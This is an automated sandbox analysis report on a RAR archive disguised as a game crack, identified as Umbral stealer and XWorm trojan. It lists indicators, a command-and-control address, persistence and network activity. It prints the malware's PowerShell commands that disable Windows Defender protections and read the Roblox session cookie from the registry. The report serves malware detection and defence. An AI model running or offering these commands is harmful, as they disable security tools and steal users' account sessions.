umbral | b9395c6223dd34cdd95dd5c298eb609a806b12f2f2bcf9b0932b47ab564ee591

Analysis

max time kernel
1386s
max time network
1177s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
16-03-2024 19:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

NursultanCrack.rar
Size

183KB
MD5

d3ad8d4ecbadea0a2ba6a92e91ed2d2b
SHA1

977368283f90605be222c310d6880fab8478ad7a
SHA256

b9395c6223dd34cdd95dd5c298eb609a806b12f2f2bcf9b0932b47ab564ee591
SHA512

1bd24793905cfd2bad5c2640e1b2f99bc4e7424cb7f6c17a42f69ec3bc04e1aed667d70d94ea4b1b616d3742023742dac60c3714f421402aeecba75ad09e3ba1
SSDEEP

3072:ngYU/sh31YoZfxYguGUb+MTezWxURWy0i9WQcM2ojNZbO/9GM69LOAalm2tJM:gWzuvG++geKQWyZ9okLO/956djalvM

Score

10^/10

umbral xworm rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

18.ip.gl.ply.gg:54823

Attributes

Install_directory
%Temp%
install_file
svhost.exe

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral2/files/0x0007000000023248-13.dat	family_umbral
behavioral2/memory/3076-32-0x0000029BB2D30000-0x0000029BB2D70000-memory.dmp	family_umbral

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x0007000000023249-24.dat	family_xworm
behavioral2/memory/208-34-0x00000000006C0000-0x00000000006D6000-memory.dmp	family_xworm

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	NursultanStart.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\Control Panel\International\Geo\Nation	start.exe
Key value queried	\REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\Control Panel\International\Geo\Nation	start.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svhost.lnk	start.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svhost.lnk	start.exe

Executes dropped EXE 6 IoCs

pid	Process
5036	start.exe
3076	NursultanStart.exe
208	start.exe
4868	start.exe
1796	NursultanStart.exe
4680	start.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
125	discord.com
128	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
107	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4448	timeout.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4424	wmic.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 39 IoCs

pid	Process
4776	7zFM.exe
4776	7zFM.exe
1948	powershell.exe
1948	powershell.exe
1948	powershell.exe
3236	powershell.exe
3236	powershell.exe
3236	powershell.exe
4484	powershell.exe
4484	powershell.exe
4484	powershell.exe
3732	powershell.exe
3732	powershell.exe
3732	powershell.exe
3940	powershell.exe
3940	powershell.exe
3940	powershell.exe
4776	7zFM.exe
4776	7zFM.exe
4776	7zFM.exe
4776	7zFM.exe
4776	7zFM.exe
4776	7zFM.exe
4776	7zFM.exe
4776	7zFM.exe
4776	7zFM.exe
4776	7zFM.exe
4776	7zFM.exe
4776	7zFM.exe
4776	7zFM.exe
4776	7zFM.exe
4776	7zFM.exe
4776	7zFM.exe
4776	7zFM.exe
4776	7zFM.exe
4776	7zFM.exe
4776	7zFM.exe
4776	7zFM.exe
4776	7zFM.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4776	7zFM.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeRestorePrivilege	4776	7zFM.exe
Token: 35	4776	7zFM.exe
Token: SeSecurityPrivilege	4776	7zFM.exe
Token: SeDebugPrivilege	208	start.exe
Token: SeDebugPrivilege	3076	NursultanStart.exe
Token: SeDebugPrivilege	1948	powershell.exe
Token: SeDebugPrivilege	3236	powershell.exe
Token: SeDebugPrivilege	4484	powershell.exe
Token: SeDebugPrivilege	3732	powershell.exe
Token: SeIncreaseQuotaPrivilege	4732	wmic.exe
Token: SeSecurityPrivilege	4732	wmic.exe
Token: SeTakeOwnershipPrivilege	4732	wmic.exe
Token: SeLoadDriverPrivilege	4732	wmic.exe
Token: SeSystemProfilePrivilege	4732	wmic.exe
Token: SeSystemtimePrivilege	4732	wmic.exe
Token: SeProfSingleProcessPrivilege	4732	wmic.exe
Token: SeIncBasePriorityPrivilege	4732	wmic.exe
Token: SeCreatePagefilePrivilege	4732	wmic.exe
Token: SeBackupPrivilege	4732	wmic.exe
Token: SeRestorePrivilege	4732	wmic.exe
Token: SeShutdownPrivilege	4732	wmic.exe
Token: SeDebugPrivilege	4732	wmic.exe
Token: SeSystemEnvironmentPrivilege	4732	wmic.exe
Token: SeRemoteShutdownPrivilege	4732	wmic.exe
Token: SeUndockPrivilege	4732	wmic.exe
Token: SeManageVolumePrivilege	4732	wmic.exe
Token: 33	4732	wmic.exe
Token: 34	4732	wmic.exe
Token: 35	4732	wmic.exe
Token: 36	4732	wmic.exe
Token: SeIncreaseQuotaPrivilege	4732	wmic.exe
Token: SeSecurityPrivilege	4732	wmic.exe
Token: SeTakeOwnershipPrivilege	4732	wmic.exe
Token: SeLoadDriverPrivilege	4732	wmic.exe
Token: SeSystemProfilePrivilege	4732	wmic.exe
Token: SeSystemtimePrivilege	4732	wmic.exe
Token: SeProfSingleProcessPrivilege	4732	wmic.exe
Token: SeIncBasePriorityPrivilege	4732	wmic.exe
Token: SeCreatePagefilePrivilege	4732	wmic.exe
Token: SeBackupPrivilege	4732	wmic.exe
Token: SeRestorePrivilege	4732	wmic.exe
Token: SeShutdownPrivilege	4732	wmic.exe
Token: SeDebugPrivilege	4732	wmic.exe
Token: SeSystemEnvironmentPrivilege	4732	wmic.exe
Token: SeRemoteShutdownPrivilege	4732	wmic.exe
Token: SeUndockPrivilege	4732	wmic.exe
Token: SeManageVolumePrivilege	4732	wmic.exe
Token: 33	4732	wmic.exe
Token: 34	4732	wmic.exe
Token: 35	4732	wmic.exe
Token: 36	4732	wmic.exe
Token: SeIncreaseQuotaPrivilege	1488	wmic.exe
Token: SeSecurityPrivilege	1488	wmic.exe
Token: SeTakeOwnershipPrivilege	1488	wmic.exe
Token: SeLoadDriverPrivilege	1488	wmic.exe
Token: SeSystemProfilePrivilege	1488	wmic.exe
Token: SeSystemtimePrivilege	1488	wmic.exe
Token: SeProfSingleProcessPrivilege	1488	wmic.exe
Token: SeIncBasePriorityPrivilege	1488	wmic.exe
Token: SeCreatePagefilePrivilege	1488	wmic.exe
Token: SeBackupPrivilege	1488	wmic.exe
Token: SeRestorePrivilege	1488	wmic.exe
Token: SeShutdownPrivilege	1488	wmic.exe
Token: SeDebugPrivilege	1488	wmic.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
4776	7zFM.exe
4776	7zFM.exe
4776	7zFM.exe

Suspicious use of WriteProcessMemory 38 IoCs

description	pid	Process	procid_target
PID 2276 wrote to memory of 4776	2276	cmd.exe	93
PID 2276 wrote to memory of 4776	2276	cmd.exe	93
PID 4776 wrote to memory of 5036	4776	7zFM.exe	114
PID 4776 wrote to memory of 5036	4776	7zFM.exe	114
PID 4776 wrote to memory of 5036	4776	7zFM.exe	114
PID 5036 wrote to memory of 3076	5036	start.exe	115
PID 5036 wrote to memory of 3076	5036	start.exe	115
PID 5036 wrote to memory of 208	5036	start.exe	116
PID 5036 wrote to memory of 208	5036	start.exe	116
PID 3076 wrote to memory of 1948	3076	NursultanStart.exe	117
PID 3076 wrote to memory of 1948	3076	NursultanStart.exe	117
PID 3076 wrote to memory of 3236	3076	NursultanStart.exe	119
PID 3076 wrote to memory of 3236	3076	NursultanStart.exe	119
PID 3076 wrote to memory of 4484	3076	NursultanStart.exe	121
PID 3076 wrote to memory of 4484	3076	NursultanStart.exe	121
PID 3076 wrote to memory of 3732	3076	NursultanStart.exe	123
PID 3076 wrote to memory of 3732	3076	NursultanStart.exe	123
PID 3076 wrote to memory of 4732	3076	NursultanStart.exe	125
PID 3076 wrote to memory of 4732	3076	NursultanStart.exe	125
PID 3076 wrote to memory of 1488	3076	NursultanStart.exe	127
PID 3076 wrote to memory of 1488	3076	NursultanStart.exe	127
PID 3076 wrote to memory of 4880	3076	NursultanStart.exe	129
PID 3076 wrote to memory of 4880	3076	NursultanStart.exe	129
PID 3076 wrote to memory of 3940	3076	NursultanStart.exe	131
PID 3076 wrote to memory of 3940	3076	NursultanStart.exe	131
PID 3076 wrote to memory of 4424	3076	NursultanStart.exe	133
PID 3076 wrote to memory of 4424	3076	NursultanStart.exe	133
PID 4776 wrote to memory of 4868	4776	7zFM.exe	135
PID 4776 wrote to memory of 4868	4776	7zFM.exe	135
PID 4776 wrote to memory of 4868	4776	7zFM.exe	135
PID 4868 wrote to memory of 1796	4868	start.exe	136
PID 4868 wrote to memory of 1796	4868	start.exe	136
PID 4868 wrote to memory of 4680	4868	start.exe	137
PID 4868 wrote to memory of 4680	4868	start.exe	137
PID 208 wrote to memory of 1160	208	start.exe	146
PID 208 wrote to memory of 1160	208	start.exe	146
PID 1160 wrote to memory of 4448	1160	cmd.exe	148
PID 1160 wrote to memory of 4448	1160	cmd.exe	148

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\NursultanCrack.rar
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2276
- C:\Program Files\7-Zip\7zFM.exe
  "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\NursultanCrack.rar"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:4776
- - C:\Users\Admin\AppData\Local\Temp\7zO8A2480F7\start.exe
    "C:\Users\Admin\AppData\Local\Temp\7zO8A2480F7\start.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:5036
  - - C:\Users\Admin\AppData\Local\Temp\NursultanStart.exe
      "C:\Users\Admin\AppData\Local\Temp\NursultanStart.exe"
      4⤵
      Drops file in Drivers directory
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3076
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\NursultanStart.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1948
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3236
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4484
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3732
    - - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4732
    - - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1488
    - - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        5⤵
        
        PID:4880
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3940
    - - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        5⤵
        Detects videocard installed
        
        PID:4424
  - - C:\Users\Admin\AppData\Local\Temp\start.exe
      "C:\Users\Admin\AppData\Local\Temp\start.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:208
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpA8C0.tmp.bat""
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1160
      - C:\Windows\system32\timeout.exe
        
        timeout 3
        6⤵
        Delays execution with timeout.exe
        
        PID:4448
- - C:\Users\Admin\AppData\Local\Temp\7zO8A2578A7\start.exe
    "C:\Users\Admin\AppData\Local\Temp\7zO8A2578A7\start.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4868
  - - C:\Users\Admin\AppData\Local\Temp\NursultanStart.exe
      "C:\Users\Admin\AppData\Local\Temp\NursultanStart.exe"
      4⤵
      Executes dropped EXE
      PID:1796
  - - C:\Users\Admin\AppData\Local\Temp\start.exe
      "C:\Users\Admin\AppData\Local\Temp\start.exe"
      4⤵
      Executes dropped EXE
      PID:4680

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe
1⤵
PID:1088

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k UnistackSvcGroup
1⤵
PID:3108

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\NursultanStart.exe.log

Filesize
1KB

MD5
4c8fa14eeeeda6fe76a08d14e08bf756

SHA1
30003b6798090ec74eb477bbed88e086f8552976

SHA256
7ebfcfca64b0c1c9f0949652d50a64452b35cefe881af110405cd6ec45f857a5

SHA512
116f80182c25cf0e6159cf59a35ee27d66e431696d29ec879c44521a74ab7523cbfdefeacfb6a3298b48788d7a6caa5336628ec9c1d8b9c9723338dcffea4116

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\start.exe.log

Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b0a78e60bfb279d18fd3d6e7a67411f5

SHA1
9344fe3654a14bc66afb9dc6ea215fabfbe5c906

SHA256
a28890c82033d3deaf5770ecd1b0239c77321acc93704b1d4b1e167b91e30aeb

SHA512
9548be23bec645cd705482f78d43b63659e38cf879c34f7071f42fd86ee02039379a5e92fbe0f1c74c12aaebabdd8002f57eba111d3e855cbd0c89a110e346f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
3047912af0f04660df1c0e5a7627c9b7

SHA1
2a882f6cd8965b0c1e3a7ad34c150102b090082a

SHA256
b831b46b481e157e1392f49154c039f8946b25114fab2996ef17d82ab664161e

SHA512
844dac407ca77f591b602b05a0064a3c07b75600a55961f2ec815cd3c2c539484d338c5a092a894e6a51f455dbfc1c22b20b8f595d5dcf904b04c0b4adaf0b4d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
7d938922c60b82c232e1dc1d2cb172d6

SHA1
8c5546fbca478815e77f5dff30fe00e5e5fd6a9a

SHA256
463e9ebf5171ef9ead61019e5fa863ecd958d4390e88079394a98c050ad32a1f

SHA512
479ac4d43bcaea8059ff4ae9023e35f81e2d04eba16b3bec76c1b198891b2b8ea27a03e3862ca73dbe2e98dae5538b007df8418f10c2e3f52c93bcbbae10f105

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zO8A2480F7\start.exe

Filesize
192KB

MD5
066f7f594bf6f254748bc19562dd1bc3

SHA1
313883f4a7fbfc3c60b153492aeefb927c5d5694

SHA256
9398c6385a5246fe4b86b0f247ddb8a93a9c326389dabef1b96bd65af09b360e

SHA512
04f0c82938dee7a790876ab39282c36eda0c6de11a337d93f728c07be6ff5997605c6a9bba886b94091c313795ee19bf96d65ca9ac1e1d62eeab7acd33b6afca

Download Submit
C:\Users\Admin\AppData\Local\Temp\NursultanStart.exe

Filesize
229KB

MD5
a635e377a579296af70e52f439465078

SHA1
68aff1bf9a48c1d8f326f9ee1d95a795c1b35c35

SHA256
11ca4440ffccc6e94fa1536d27eeafdceea8782202a56f3989b19f845d7864ac

SHA512
cef30f2e3385399c9659acb6938a68a46401b977cb84c1137cc18dd37009c61a91eeb473a65552bb5585af69ecfadd878db0a0f6bd24584153d9796a3e46db39

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3mdj4vkd.ycz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\start.exe

Filesize
63KB

MD5
a48eb52779ecedfcf1c709a232e655cf

SHA1
ebe1bf5f87ee23bf74ec52c5bcf134782821c46d

SHA256
fecf2e4db113236435acf34c716776d40a447254b344f59ed3c2f99e755b2708

SHA512
b37bfb9f7eb15063e452cc7ccf9ed2291f09b985fecba6f983b2cd69736b6fe6bd02074d99f838f8e2ce826b8ee9e810fc7f171e0ac486e4f7ff0f37903ab47c

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpA8C0.tmp.bat

Filesize
157B

MD5
8a37d0ae7c786f013547cc009252ed08

SHA1
6b7ac65df219a13476f633831222c6fc3f3a86e5

SHA256
2cc0f2104d2f441b133f17a845f9c8561f8852b7c869c88b2d721b24ab7e9bf1

SHA512
400e50189b94196ea8037db08d4b540a762e23d9b99891a3af75fc41453134106cbbbeabbc2bad61775d8f3defff8aabb78ff574a9fdb88222f8260d85e35622

Download Submit
memory/208-101-0x00007FFD678D0000-0x00007FFD68391000-memory.dmp

Filesize
10.8MB

Download
memory/208-100-0x00000000027E0000-0x00000000027F0000-memory.dmp

Filesize
64KB

Download
memory/208-166-0x00000000027E0000-0x00000000027F0000-memory.dmp

Filesize
64KB

Download
memory/208-169-0x0000000000F50000-0x0000000000F5C000-memory.dmp

Filesize
48KB

Download
memory/208-36-0x00007FFD678D0000-0x00007FFD68391000-memory.dmp

Filesize
10.8MB

Download
memory/208-177-0x00007FFD678D0000-0x00007FFD68391000-memory.dmp

Filesize
10.8MB

Download
memory/208-34-0x00000000006C0000-0x00000000006D6000-memory.dmp

Filesize
88KB

Download
memory/1796-167-0x00007FFD678D0000-0x00007FFD68391000-memory.dmp

Filesize
10.8MB

Download
memory/1796-158-0x00007FFD678D0000-0x00007FFD68391000-memory.dmp

Filesize
10.8MB

Download
memory/1948-39-0x000001DC7B990000-0x000001DC7B9A0000-memory.dmp

Filesize
64KB

Download
memory/1948-38-0x00007FFD678D0000-0x00007FFD68391000-memory.dmp

Filesize
10.8MB

Download
memory/1948-40-0x000001DC7B990000-0x000001DC7B9A0000-memory.dmp

Filesize
64KB

Download
memory/1948-50-0x000001DC7B3C0000-0x000001DC7B3E2000-memory.dmp

Filesize
136KB

Download
memory/1948-53-0x00007FFD678D0000-0x00007FFD68391000-memory.dmp

Filesize
10.8MB

Download
memory/3076-163-0x00007FFD678D0000-0x00007FFD68391000-memory.dmp

Filesize
10.8MB

Download
memory/3076-99-0x00007FFD678D0000-0x00007FFD68391000-memory.dmp

Filesize
10.8MB

Download
memory/3076-72-0x0000029BCD4B0000-0x0000029BCD526000-memory.dmp

Filesize
472KB

Download
memory/3076-74-0x0000029BCD1A0000-0x0000029BCD1BE000-memory.dmp

Filesize
120KB

Download
memory/3076-123-0x0000029BCD1D0000-0x0000029BCD1DA000-memory.dmp

Filesize
40KB

Download
memory/3076-73-0x0000029BCD430000-0x0000029BCD480000-memory.dmp

Filesize
320KB

Download
memory/3076-37-0x0000029BCD1E0000-0x0000029BCD1F0000-memory.dmp

Filesize
64KB

Download
memory/3076-35-0x00007FFD678D0000-0x00007FFD68391000-memory.dmp

Filesize
10.8MB

Download
memory/3076-107-0x0000029BCD1E0000-0x0000029BCD1F0000-memory.dmp

Filesize
64KB

Download
memory/3076-32-0x0000029BB2D30000-0x0000029BB2D70000-memory.dmp

Filesize
256KB

Download
memory/3076-127-0x0000029BCD530000-0x0000029BCD542000-memory.dmp

Filesize
72KB

Download
memory/3108-214-0x00000226505A0000-0x00000226505A1000-memory.dmp

Filesize
4KB

Download
memory/3108-210-0x0000022650460000-0x0000022650461000-memory.dmp

Filesize
4KB

Download
memory/3108-213-0x0000022650490000-0x0000022650491000-memory.dmp

Filesize
4KB

Download
memory/3108-194-0x0000022648140000-0x0000022648150000-memory.dmp

Filesize
64KB

Download
memory/3108-212-0x0000022650490000-0x0000022650491000-memory.dmp

Filesize
4KB

Download
memory/3236-68-0x000001F9CB8C0000-0x000001F9CB8D0000-memory.dmp

Filesize
64KB

Download
memory/3236-70-0x00007FFD678D0000-0x00007FFD68391000-memory.dmp

Filesize
10.8MB

Download
memory/3236-57-0x000001F9CB8C0000-0x000001F9CB8D0000-memory.dmp

Filesize
64KB

Download
memory/3236-56-0x000001F9CB8C0000-0x000001F9CB8D0000-memory.dmp

Filesize
64KB

Download
memory/3236-55-0x00007FFD678D0000-0x00007FFD68391000-memory.dmp

Filesize
10.8MB

Download
memory/3732-105-0x00007FFD678D0000-0x00007FFD68391000-memory.dmp

Filesize
10.8MB

Download
memory/3732-106-0x000001C658700000-0x000001C658710000-memory.dmp

Filesize
64KB

Download
memory/3732-118-0x000001C658700000-0x000001C658710000-memory.dmp

Filesize
64KB

Download
memory/3732-120-0x00007FFD678D0000-0x00007FFD68391000-memory.dmp

Filesize
10.8MB

Download
memory/3940-144-0x00007FFD678D0000-0x00007FFD68391000-memory.dmp

Filesize
10.8MB

Download
memory/3940-141-0x000001DC4AA10000-0x000001DC4AA20000-memory.dmp

Filesize
64KB

Download
memory/3940-140-0x000001DC4AA10000-0x000001DC4AA20000-memory.dmp

Filesize
64KB

Download
memory/3940-139-0x00007FFD678D0000-0x00007FFD68391000-memory.dmp

Filesize
10.8MB

Download
memory/4484-104-0x00007FFD678D0000-0x00007FFD68391000-memory.dmp

Filesize
10.8MB

Download
memory/4484-102-0x000001EEADD50000-0x000001EEADD60000-memory.dmp

Filesize
64KB

Download
memory/4484-76-0x000001EEADD50000-0x000001EEADD60000-memory.dmp

Filesize
64KB

Download
memory/4484-75-0x00007FFD678D0000-0x00007FFD68391000-memory.dmp

Filesize
10.8MB

Download
memory/4680-165-0x00007FFD678D0000-0x00007FFD68391000-memory.dmp

Filesize
10.8MB

Download
memory/4680-159-0x00007FFD678D0000-0x00007FFD68391000-memory.dmp

Filesize
10.8MB

Download